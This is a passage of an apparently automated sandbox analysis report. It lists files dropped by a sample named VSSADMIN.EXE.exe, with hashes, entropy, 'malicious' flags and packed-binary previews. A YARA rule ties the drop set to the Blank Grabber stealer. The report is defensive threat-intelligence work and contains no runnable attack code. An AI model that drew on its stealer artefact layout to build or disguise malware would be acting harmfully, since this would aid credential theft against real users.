C:\Users\user\AppData\Local\Temp\_MEI68562\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49432
Entropy (8bit):	7.811739787042456
Encrypted:	false
SSDEEP:	768:XulhAbgFQ1/NGSS1xNDrxiRx8/CWpsVDIA35/Mw3kp0HIPCVnRn5YiSyvYPxWEu:XiGgF1TxbYecf5UcHIPCVnv7SyQPx
MD5:	2D461B41F6E9A305DDE68E9C59E4110A
SHA1:	97C2266F47A651E37A72C153116D81D93C7556E8
SHA-256:	ABBE3933A34A9653A757244E8E55B0D7D3A108527A3E9E8A7F2013B5F2A9EFF4
SHA-512:	EEF132DF6E52EB783BAD3E6AF0D57CB48CDA2EB0EDB6E282753B02D21970C1EEA6BAB03C835FF9F28F2D3E25F5E9E18F176A8C5680522C09DA358A1C48CF14C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A}...............d`.....J`......J`......J`......J`......J`.......`......Nd..........Z....`.......`.......`.......`......Rich............PE..d......d.........." ..."............pd....................................................`.............................................H.................... .. ..................................................pp..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59664
Entropy (8bit):	7.830958327898146
Encrypted:	false
SSDEEP:	1536:UUOlRJUIp/i+OnIlnhKaK+DIKIPLP3n7SySPxH9F:pOpnomln0aK+0KIPLP3nUxdF
MD5:	1ADFE4D0F4D68C9C539489B89717984D
SHA1:	8AE31B831B3160F5B88DDA58AD3959C7423F8EB2
SHA-256:	64E8FD952CCF5B8ADCA80CE8C7BC6C96EC7DF381789256FE8D326F111F02E95C
SHA-512:	B403CC46E0874A75E3C0819784244ED6557EAE19B0D76FFD86F56B3739DB10EA8DEEC3DC1CA9E94C101263D0CCF506978443085A70C3AB0816885046B5EF5117
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........G...&...&...&...^...&...Z...&...Z...&...Z...&...Z...&..$Z...&...^...&...^...&..-Z...&...&...&..$Z...&..$Z...&..$Zv..&..$Z...&..Rich.&..........................PE..d...!..d.........." ...".........`.......p...................................0............`.........................................H,.......)....... .......................,..........................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109328
Entropy (8bit):	7.929995437995477
Encrypted:	false
SSDEEP:	3072:rAXWq+Shd+pVgLxCmdrrrvYoVZPQxqrU1uIPOqpCT6x1:Q+Smip7YwVQsrU1nCq
MD5:	A8952538E090E2FF0EFB0BA3C890CD04
SHA1:	CDC8BD05A3178A95416E1C15B6C875EE026274DF
SHA-256:	C4E8740C5DBBD2741FC4124908DA4B65FA9C3E17D9C9BF3F634710202E0C7009
SHA-512:	5C16F595F17BEDAA9C1FDD14C724BBB404ED59421C63F6FBD3BFD54CE8D6F550147D419EC0430D008C91B01B0C42934C2A08DAE844C308FEEC077DA713AC842E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........nyR.............w.......s.......s.......s.......s.......s.......w.........._....s.......s.......s.......s.......s......Rich............PE..d......d.........." ...".p.......... ........................................0............`..........................................,..P....)....... ...........&...........-...................................... ...@...........................................UPX0....................................UPX1.....p.......j..................@....rsrc........ .......n..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36120
Entropy (8bit):	7.694581667669348
Encrypted:	false
SSDEEP:	768:5rusWqAYiGR2VL0gdxwxpj9bTIPOICR5YiSyv4PxWEu:5ynqA/dL0gdxwX9bTIPOICf7SygPx
MD5:	F10D896ED25751EAD72D8B03E404EA36
SHA1:	EB8E0FD6E2356F76B5EA0CB72AB37399EC9D8ECB
SHA-256:	3660B985CA47CA1BBA07DB01458B3153E4E692EE57A8B23CE22F1A5CA18707C3
SHA-512:	7F234E0D197BA48396FABD1FCCC2F19E5D4AD922A2B3FE62920CD485E5065B66813B4B2A2477D2F7F911004E1BC6E5A6EC5E873D8FF81E642FEE9E77B428FB42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F.u.'.&.'.&.'.&._,&.'.&.[.'.'.&.[.'.'.&.[.'.'.&.[.'.'.&._.'.'.&[.'.'.&.'.&e'.&[.'.'.&[.'.'.&[@&.'.&*[.'.'.&Rich.'.&........PE..d......d.........." ...".P........... .......................................@............`..........................................;..P....9.......0..........,............;.......................................,..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	87824
Entropy (8bit):	7.919149468371103
Encrypted:	false
SSDEEP:	1536:AUZZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6VWLZLpIPZ1887SyKPxN:AIvA5utzWfXE0V0ZK+K+QLHIPZ188ExN
MD5:	3798175FD77EDED46A8AF6B03C5E5F6D
SHA1:	F637EAF42080DCC620642400571473A3FDF9174F
SHA-256:	3C9D5A9433B22538FC64141CD3784800C567C18E4379003329CF69A1D59B2A41
SHA-512:	1F7351C9E905265625D725551D8EA1DE5D9999BC333D29E6510A5BCA4E4D7C1472B2A637E892A485A7437EA4768329E5365B209DD39D7C1995FE3317DC5AECDF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*...D,..D,..D,...,..D,..E-..D,..A-..D,..@-..D,..G-..D,M.E-..D,..E-..D,..E,.D,M.I-..D,M.D-..D,M.,..D,M.F-..D,Rich..D,........PE..d...$..d.........." ...". ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.48274363176083
Encrypted:	false
SSDEEP:	384:r0Psz9rLZgNhzHjlHv0vFTMwZa7gJXTDIPQUCNQHQIYiSy1pCQqIPxh8E9VF0Nyo:RihFP0tTHpDDIPQUCI5YiSyv3PxWEun
MD5:	DECDABACA104520549B0F66C136A9DC1
SHA1:	423E6F3100013E5A2C97E65E94834B1B18770A87
SHA-256:	9D4880F7D0129B1DE95BECD8EA8BBBF0C044D63E87764D18F9EC00D382E43F84
SHA-512:	D89EE3779BF7D446514FC712DAFB3EBC09069E4F665529A7A1AF6494F8955CEB040BEF7D18F017BCC3B6FE7ADDEAB104535655971BE6EED38D0FC09EC2C37D88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_X..1...1...1.......1...0...1...4...1...5...1...2...1.~.0...1...0...1...0...1.~.<...1.~.1...1.~.....1.~.3...1.Rich..1.........PE..d......d.........." ...".0................................................................`.............................................L.......P............`..............<...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	44312
Entropy (8bit):	7.711982997288045
Encrypted:	false
SSDEEP:	768:fLQ8MABQVeC50swbKjNcoVApXo2gwl49wMvfscpZTfIPLwnFW5YiSyvhPxWEu:zTIt50swZoKp929fsiTfIPLwnFs7SyZ5
MD5:	BCC3E26A18D59D76FD6CF7CD64E9E14D
SHA1:	B85E4E7D300DBEEC942CB44E4A38F2C6314D3166
SHA-256:	4E19F29266A3D6C127E5E8DE01D2C9B68BC55075DD3D6AABE22CF0DE4B946A98
SHA-512:	65026247806FEAB6E1E5BF2B29A439BDC1543977C1457F6D3DDFBB7684E04F11ABA10D58CC5E7EA0C2F07C8EB3C9B1C8A3668D7854A9A6E4340E6D3E43543B74
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......RXY..97..97..97..A...97.YE6..97.YE2..97.YE3..97.YE4..97..E6..97..96..97.]A6..97..E:..97..E7..97..E...97..E5..97.Rich.97.................PE..d... ..d.........." ...".p...........m....................................................`.............................................P.......h............ ..x...........X........................................y..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57616
Entropy (8bit):	7.828956573011499
Encrypted:	false
SSDEEP:	1536:vUoHNtQh2qxFtxAnHq70rF7VRUjCpcIPOQ397SyU8Pxp:vUiNtQhxAnMORUmOIPOQ39xxp
MD5:	EB6313B94292C827A5758EEA82D018D9
SHA1:	7070F715D088C669EDA130D0F15E4E4E9C4B7961
SHA-256:	6B41DFD7D6AC12AFE523D74A68F8BD984A75E438DCF2DAA23A1F934CA02E89DA
SHA-512:	23BFC3ABF71B04CCFFC51CEDF301FADB038C458C06D14592BF1198B61758810636D9BBAC9E4188E72927B49CB490AEAFA313A04E3460C3FB4F22BDDDF112AE56
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................n.....M.......M.......M.......M.......M...............I..............................................Rich....................PE..d...%..d.........." ...".........`.......p...................................0............`..........................................+..P....)....... .......................+..$.......................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	63760
Entropy (8bit):	7.859117864085156
Encrypted:	false
SSDEEP:	1536:NHBhG6a7BLI9d70XIKNSTuGaLOIPC7s0K7Sy1Pxd:/hI67uIKNSTICIPC7sBDxd
MD5:	2089768E25606262921E4424A590FF05
SHA1:	BC94A8FF462547AB48C2FBF705673A1552545B76
SHA-256:	3E6E9FC56E1A9FE5EDB39EE03E5D47FA0E3F6ADB17BE1F087DC6F891D3B0BBCA
SHA-512:	371AA8E5C722307FFF65E00968B14280EE5046CFCF4A1D9522450688D75A3B0362F2C9EC0EC117B2FC566664F2F52A1B47FE62F28466488163F9F0F1CE367F86
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........p...p...p....8..p.......p.......p.......p.......p..N....p...p...q.......p..N....p..N....p..N.T..p..N....p..Rich.p..........................PE..d...'..d.........." ..."..................................................................`.........................................p...d....................P..........................................................@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1847603
Entropy (8bit):	5.576587358103163
Encrypted:	false
SSDEEP:	24576:mQR5pATu7xm4lUKdcubgAnyfbazZ0iwh9EpdYf9P3sLoThUdWQhuHHa:mQR5plxm+zJ5uUwQ5
MD5:	E17CE7183E682DE459EEC1A5AC9CBBFF
SHA1:	722968CA6EB123730EBC30FF2D498F9A5DAD4CC1
SHA-256:	FF6A37C49EE4BB07A763866D4163126165038296C1FB7B730928297C25CFBE6D
SHA-512:	FAB76B59DCD3570695FA260F56E277F8D714048F3D89F6E9F69EA700FCA7C097D0DB5F5294BEAB4E6409570408F1D680E8220851FEDEDB981ACB129A415358D1
Malicious:	false
Reputation:	low
Preview:	PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	121387
Entropy (8bit):	7.618787730767029
Encrypted:	false
SSDEEP:	1536:s9MWCXD1NbuF8RAXYgM5smBW4DV0Qe7vVBijA9iHR/SWSnMzuq/AhMW3eQ88YDl8:LDnbGK5vA4Re7vVBGAYHR/fp2eQRBU6v
MD5:	D0920254796FF3C0FA70785EEB43643E
SHA1:	BCAC44DAAEE04BA3364B9F926E6B2E963EF1F3DA
SHA-256:	405535B019A42D6CB102D100DAD541E9C17D7E2EC24CC767345BA06A14D290C8
SHA-512:	83C453123E8A787C1901D5E56765CA18F0BC7900C06368593D212336E1D88747AF2E071519CB212B00F8318683E7AA7F956A193820F71596C81563DB64E51CA6
Malicious:	false
Reputation:	low
Preview:	PK........F./W..;!............stub-o.pyc........Dm.e..........................j.......e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.................................................................

C:\Users\user\AppData\Local\Temp\_MEI68562\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1192216
Entropy (8bit):	7.944105809686233
Encrypted:	false
SSDEEP:	24576:OehIVnK0yupAu74grd7gqiAtpzdZveNuKF1CPwDv3uFfJR:SYupAm7d7gqNtpzzveNuM1CPwDv3uFff
MD5:	DFFCAB08F94E627DE159E5B27326D2FC
SHA1:	AB8954E9AE94AE76067E5A0B1DF074BCCC7C3B68
SHA-256:	135B115E77479EEDD908D7A782E004ECE6DD900BB1CA05CC1260D5DD6273EF15
SHA-512:	57E175A5883EDB781CDB2286167D027FDB4B762F41FB1FC9BD26B5544096A9C5DDA7BCCBB6795DCC37ED5D8D03DC0A406BF1A59ADB3AEB41714F1A7C8901A17D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........).h.z.h.z.h.z..Oz.h.z...{.h.z...{.h.z...{.h.z...{.h.z.h.zjh.z...{.h.z=..{.h.z=..{.j.z=..{.h.z=.#z.h.z=..{.h.zRich.h.z........................PE..d.....wd.........." ...".........`%..U5..p%...................................7...........`......................................... x5......s5.h....p5......p2..............x7......................................`5.@...........................................UPX0.....`%.............................UPX1.........p%.....................@....rsrc........p5.....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	209688
Entropy (8bit):	7.925110241108709
Encrypted:	false
SSDEEP:	3072:de9fHP8SzrOGFIXkUNNlvBK8Tg111WMEGf0+fGYahm8YNI2DglFjEW0wuDmxD:A99u/XRxpK8M111nEE0iGYzi9jd0wN
MD5:	8E8A145E122A593AF7D6CDE06D2BB89F
SHA1:	B0E7D78BB78108D407239E9F1B376E0C8C295175
SHA-256:	A6A14C1BECCBD4128763E78C3EC588F747640297FFB3CC5604A9728E8EF246B1
SHA-512:	D104D81ACA91C067F2D69FD8CEC3F974D23FB5372A8F2752AD64391DA3DBF5FFE36E2645A18A9A74B70B25462D73D9EA084318846B7646D39CE1D3E65A1C47C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........q...q...q.....q..p...q..p...q..t...q..u...q..r...q.[.p...q...p.u.q.[.u...q.[.q...q.[.....q.[.s...q.Rich..q.........................PE..d.....wd.........." ...".....P...`..p....p................................................`..........................................6..4@...3.......0...........N...........v......................................p&..@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc....P...0...H..................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\python311.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1699608
Entropy (8bit):	7.993586114049122
Encrypted:	true
SSDEEP:	24576:IzvTIooNigMzmPPExBYeZ0pqJx5F7vYNBw5K2RH9lVggq4lUTNeTVZXo3uYIPDhh:C9oNizvxB3ZAEx5ONCVwXUmeTVlv
MD5:	5792ADEAB1E4414E0129CE7A228EB8B8
SHA1:	E9F022E687B6D88D20EE96D9509F82E916B9EE8C
SHA-256:	7E1370058177D78A415B7ED113CC15472974440D84267FC44CDC5729535E3967
SHA-512:	C8298B5780A2A5EEBED070AC296EDA6902B0CAC9FDA7BB70E21F482D6693D6D2631CA1AC4BE96B75AC0DD50C9CA35BE5D0ACA9C4586BA7E58021EDCCD482958B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.D.5..5..5..z.+.7..z...;..z./.9..z...=..z.).1..<../..~.+.>..5.+.P....'......4......4....(.4..Rich5.*.........................PE..d......d.........." ..."..........D...]...D...................................^...........`.........................................H.].......].......].......V.d0............^.......................................].@...........................................UPX0......D.............................UPX1..........D.....................@....rsrc.........].....................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI68562\rarreg.key

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rarreg.key, Author: Joe Security
Reputation:	low
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI68562\select.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.438368098774459
Encrypted:	false
SSDEEP:	768:UjW1JOQuL3pJbNIPQGCF5YiSyvnnPxWEuN:UjW1AnbNIPQGCL7SyvnPxa
MD5:	90FEA71C9828751E36C00168B9BA4B2B
SHA1:	15B506DF7D02612E3BA49F816757AD0C141E9DC1
SHA-256:	5BBBB4F0B4F9E5329BA1D518D6E8144B1F7D83E2D7EAF6C50EEF6A304D78F37D
SHA-512:	E424BE422BF0EF06E7F9FF21E844A84212BFA08D7F9FBD4490CBBCB6493CC38CC1223AAF8B7C9CD637323B81EE93600D107CC1C982A2288EB2A0F80E2AD1F3C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........tB.t'B.t'B.t'K..'@.t'..u&@.t'..q&N.t'..p&J.t'..w&F.t'..u&@.t'B.u'..t'..u&G.t'..y&C.t'..t&C.t'...'C.t'..v&C.t'RichB.t'................PE..d......d.........." ...".0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	637720
Entropy (8bit):	7.994077868940962
Encrypted:	true
SSDEEP:	12288:2VROCPPIR0z79c8aCucuAVbXiFHTiDheVoxz0u4d0M2A9UCC:2VERAc83uc1XiJly01hUCC
MD5:	395332E795CB6ABACA7D0126D6C1F215
SHA1:	B845BD8864CD35DCB61F6DB3710ACC2659ED9F18
SHA-256:	8E8870DAC8C96217FEFF4FA8AF7C687470FBCCD093D97121BC1EAC533F47316C
SHA-512:	8BC8C8C5F10127289DEDB012B636BC3959ACB5C15638E7ED92DACDC8D8DBA87A8D994AAFFC88BC7DC89CCFEEF359E3E79980DFA293A9ACAE0DC00181096A0D66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K3...R...R...R...&..R..@....R..@....R..@....R..@....R..D...R...R...R.......R.......R....J..R.......R..Rich.R..........................PE..d......d.........." ...".`...0......p,.......................................p............`..........................................K..."...H.......@.......................m.......................................8..@...........................................UPX0....................................UPX1.....`.......Z..................@....rsrc....0...@.......^..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI68562\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302872
Entropy (8bit):	7.986772329138341
Encrypted:	false
SSDEEP:	6144:ik/Qvs7yfQJYx4x9UVqHDMDNCStEQc5YmDp9Kik+V65:ikUfQJbUV2MhCwEQc5Np9zk+U5
MD5:	C2556DC74AEA61B0BD9BD15E9CD7B0D6
SHA1:	05EFF76E393BFB77958614FF08229B6B770A1750
SHA-256:	987A6D21CE961AFEAAA40BA69859D4DD80D20B77C4CA6D2B928305A873D6796D
SHA-512:	F29841F262934C810DD1062151AEFAC78CD6A42D959A8B9AC832455C646645C07FD9220866B262DE1BC501E1A9570591C0050D5D3607F1683437DEA1FF04C32B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................,...............,.....,.....,.y...,.....Rich..........PE..d......d.........." ...".`.......@.......P................................................`.............................................X....................P..0.......................................................@...........................................UPX0.....@..............................UPX1.....`...P...^..................@....rsrc................b..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0caqy5zo.se3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1fijdufo.ts0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
